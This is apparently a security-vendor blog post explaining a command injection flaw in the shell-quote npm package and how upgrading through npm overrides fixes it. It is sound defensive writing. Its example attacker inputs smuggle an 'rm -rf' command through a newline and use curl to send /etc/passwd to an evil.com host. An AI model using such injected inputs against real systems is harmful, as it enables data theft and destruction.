Back to Blog
critical SEVERITY6 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.

O
By Orbis AppSec
Published August 27, 2026Reviewed August 27, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (CWE-78) where unescaped line terminators (like `\n` or `\r`) allow attackers to inject and execute arbitrary shell commands. The fix requires upgrading shell-quote to version 1.9.0 or later, which properly escapes these characters. In Node.js projects, use npm overrides in package.json to force the patched version across your entire dependency tree.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.9.0 using npm overrides to patch transitive dependencies
riskArbitrary code execution on the server
languageJavaScript (Node.js)
root causeshell-quote failed to escape line terminator characters in shell command strings
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

In this repository's package-lock.json, we discovered a critical command injection vulnerability lurking in a transitive dependency: shell-quote version 1.8.2. This widely-used npm package is responsible for parsing and quoting shell command strings—a critical security function that, when flawed, can give attackers the keys to your server.

The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input flows through shell-quote and into a shell command, an attacker can terminate the intended command early and inject their own malicious commands.

What makes this particularly dangerous is that shell-quote is often a transitive dependency—you might not even know it's in your project until a scanner like Trivy flags it in your lockfile.

The Vulnerability Explained

What Went Wrong in shell-quote 1.8.2

The shell-quote package provides two main functions: quote() for escaping strings to be safely used in shell commands, and parse() for parsing shell command strings. The vulnerability exists in how version 1.8.2 handles line terminator characters.

Consider what happens when shell-quote processes input containing a newline:

const shellQuote = require('shell-quote');

// User-controlled input with injected newline
const userInput = "harmless\nrm -rf /important-data";

// Vulnerable shell-quote 1.8.2 would not properly escape the newline
const quoted = shellQuote.quote([userInput]);
// Result might allow the second command to execute

In a Unix shell, a newline character acts as a command separator—just like a semicolon. When shell-quote fails to escape \n, an attacker can craft input that:

  1. Terminates the intended command
  2. Starts a completely new, attacker-controlled command
  3. Executes arbitrary code with the privileges of the Node.js process

Real-World Attack Scenario

Imagine a build tool that uses shell-quote to safely construct a command with user-provided filenames:

const { quote } = require('shell-quote');
const { exec } = require('child_process');

function processFile(filename) {
  // Developer thinks this is safe because they're using shell-quote
  const cmd = `cat ${quote([filename])} | process-tool`;
  exec(cmd, (error, stdout) => {
    // Handle output
  });
}

// Attacker provides:
processFile("data.txt\ncurl http://evil.com/steal?data=$(cat /etc/passwd)");

With the vulnerable shell-quote version, the newline isn't escaped, resulting in two commands being executed:
1. cat data.txt (the intended command)
2. curl http://evil.com/steal?data=$(cat /etc/passwd) (data exfiltration!)

The attacker has achieved arbitrary code execution and can steal sensitive data, install backdoors, or pivot to other systems.

The Fix

What Changed

The fix involves two coordinated changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:

Before (package-lock.json):

"node_modules/shell-quote": {
  "version": "1.8.2",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.2.tgz",
  "integrity": "sha512-AzqKpGKjrj7EM6rKVQEPpB288oCfnrEIuyoT9cyF4nmGa7V8Zk6f7RRqYisX8X9m+Q7bd632aZW4ky7EhbQztA==",

After (package-lock.json):

"node_modules/shell-quote": {
  "version": "1.9.0",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWXgkfml7hjqA==",

The Critical Addition (package.json):

"overrides": {
  "shell-quote": "1.9.0"
}

Why npm Overrides Matter

The overrides field in package.json is crucial here. Since shell-quote is likely a transitive dependency (a dependency of your dependencies), simply updating your direct dependencies wouldn't guarantee the patched version is used everywhere.

The npm overrides feature forces version 1.9.0 of shell-quote to be installed regardless of what version other packages request. This ensures:

  1. Complete coverage: Every package in your dependency tree uses the patched version
  2. No gaps: Transitive dependencies can't pull in the vulnerable version
  3. Explicit intent: The override documents your security decision in version control

How Version 1.9.0 Fixes the Issue

The patched version of shell-quote now properly escapes line terminator characters including:
- Line Feed (\n, U+000A)
- Carriage Return (\r, U+000D)
- Line Separator (U+2028)
- Paragraph Separator (U+2029)

These characters are now quoted or escaped so they're treated as literal characters rather than command separators by the shell.

Prevention & Best Practices

Immediate Actions

  1. Audit your dependencies: Run npm audit regularly to catch known vulnerabilities
  2. Use lockfiles: Always commit package-lock.json to ensure reproducible builds
  3. Enable automated scanning: Tools like Trivy, Snyk, or GitHub's Dependabot can alert you to vulnerable dependencies

Secure Coding Practices for Shell Commands

  1. Avoid shells when possible: Use child_process.execFile() or spawn() with shell: false instead of exec()
// Safer: No shell involved
const { execFile } = require('child_process');
execFile('cat', [filename], (error, stdout) => {
  // Handle output
});
  1. Validate input strictly: Use allowlists for expected input patterns
const SAFE_FILENAME = /^[a-zA-Z0-9_\-\.]+$/;
if (!SAFE_FILENAME.test(filename)) {
  throw new Error('Invalid filename');
}
  1. Keep dependencies updated: Set up automated dependency updates with security-focused tools

Defense in Depth

Even with patched dependencies, implement multiple layers of protection:
- Run Node.js processes with minimal privileges
- Use containers with read-only filesystems where possible
- Implement security monitoring and alerting
- Conduct regular security audits of your dependency tree

Key Takeaways

  • Transitive dependencies are attack vectors: shell-quote wasn't a direct dependency, but its vulnerability still posed critical risk to this project
  • npm overrides are essential for security patches: When a vulnerability exists in a transitive dependency, overrides ensure the fix applies everywhere
  • Line terminators are command separators: Characters like \n can break out of quoted strings and inject new commands if not properly escaped
  • shell-quote is a security-critical package: Any library that constructs shell commands must be kept updated and monitored closely
  • Static analysis catches what humans miss: Trivy identified this CVE in the lockfile before it could be exploited

How Orbis AppSec Detected This

  • Source: User-influenced input flowing through the application to shell command construction
  • Sink: shell-quote package's quote() function when constructing shell command strings
  • Missing control: shell-quote 1.8.2 failed to escape line terminator characters, allowing command injection
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Upgraded shell-quote to 1.9.0 using npm overrides to patch the vulnerability across all transitive dependencies

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 in shell-quote demonstrates how a subtle escaping oversight can lead to critical security consequences. The failure to escape line terminator characters transformed a security library into an attack vector, potentially allowing arbitrary code execution in any application using the vulnerable version.

The fix—upgrading to shell-quote 1.9.0 via npm overrides—is straightforward but highlights an important lesson: security is only as strong as your weakest dependency. Regularly audit your dependency tree, use automated scanning tools, and implement defense in depth to protect against both known and unknown vulnerabilities.

Remember: when it comes to shell commands, trust nothing and escape everything.

References

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an attacker can execute arbitrary system commands by injecting malicious input into a shell command string that isn't properly sanitized or escaped.

How do you prevent command injection in Node.js?

Avoid shell execution when possible, use parameterized APIs like `child_process.execFile()` instead of `exec()`, properly escape all user input using trusted libraries like shell-quote (patched version), and validate input against allowlists.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation helps but isn't sufficient alone. You should combine validation with proper escaping using libraries like shell-quote, and prefer APIs that don't invoke a shell interpreter when possible.

Can static analysis detect command injection?

Yes, static analysis tools like Trivy, Semgrep, and Snyk can detect known vulnerable package versions and dangerous code patterns that may lead to command injection, though they may not catch all custom implementations.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

high

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `npm/holidaytw/lib/installer.js` where the `verifyBinaryExecutes` function passed a user-influenced `binPath` argument directly to `spawnSync` without sanitization. The fix replaces `spawnSync` with `execFileSync` combined with `path.resolve()` and explicit `shell: false`, eliminating the shell interpretation attack surface. This proactive hardening raises the bar against automated exploit-chaining tools even in local CLI contexts.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in `bump-changed-extensions.js` where the `execSync()` function was called with unsanitized input, potentially allowing attackers to execute arbitrary commands. The fix replaces the vulnerable `execSync()` pattern with `spawnSync()` using an argument array, eliminating shell interpolation entirely and preventing command injection attacks.

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How XML Multiple Root Element Injection happens in Node.js and how to fix it

The foam3 project contained a critical vulnerability in xmldom version 0.6.0 that allowed attackers to create malformed XML documents with multiple root elements, violating the XML specification and potentially bypassing security validations. The fix removed the vulnerable xmldom dependency entirely from package.json and package-lock.json, eliminating the attack surface.